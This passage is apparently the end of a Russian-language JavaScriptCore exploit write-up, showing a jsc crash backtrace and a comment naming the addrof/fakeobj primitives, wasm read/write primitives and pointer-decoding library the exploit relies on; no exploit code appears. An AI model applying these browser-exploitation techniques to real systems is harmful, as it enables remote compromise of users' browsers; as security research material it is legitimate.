        14  0x1162865f3 llint_entry
        15  0x116273242 vmEntryToJavaScript
        16  0x115f10a19 JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*)
        17  0x115f0e31d JSC::Interpreter::executeProgram(JSC::SourceCode const&, JSC::ExecState*, JSC::JSObject*)
        18  0x116834a75 JSC::evaluate(JSC::ExecState*, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&)
        19  0x10a5c0d90 runWithOptions(GlobalObject*, CommandLine&, bool&)
        20  0x10a550574 jscmain(int, char**)::$_4::operator()(JSC::VM&, GlobalObject*, bool&) const
        21  0x10a4fe9b6 int runJSC<jscmain(int, char**)::$_4>(CommandLine const&, bool, jscmain(int, char**)::$_4 const&)
        22  0x10a4fadae jscmain(int, char**)
        23  0x10a4fab6e main
        24  0x7fff7624c3d5 start
        Illegal instruction: 4
    
    
        но эксплойт использует модифицированный PoC из [1] для addrof, fakeobj
        потому что я не раскрываю все свои секреты =).
        тогда для r/w мы используем примитивы wasm LinusHenze.
        для декодирования указателей мы используем библиотеку saelo.


*/

Источник


Report Page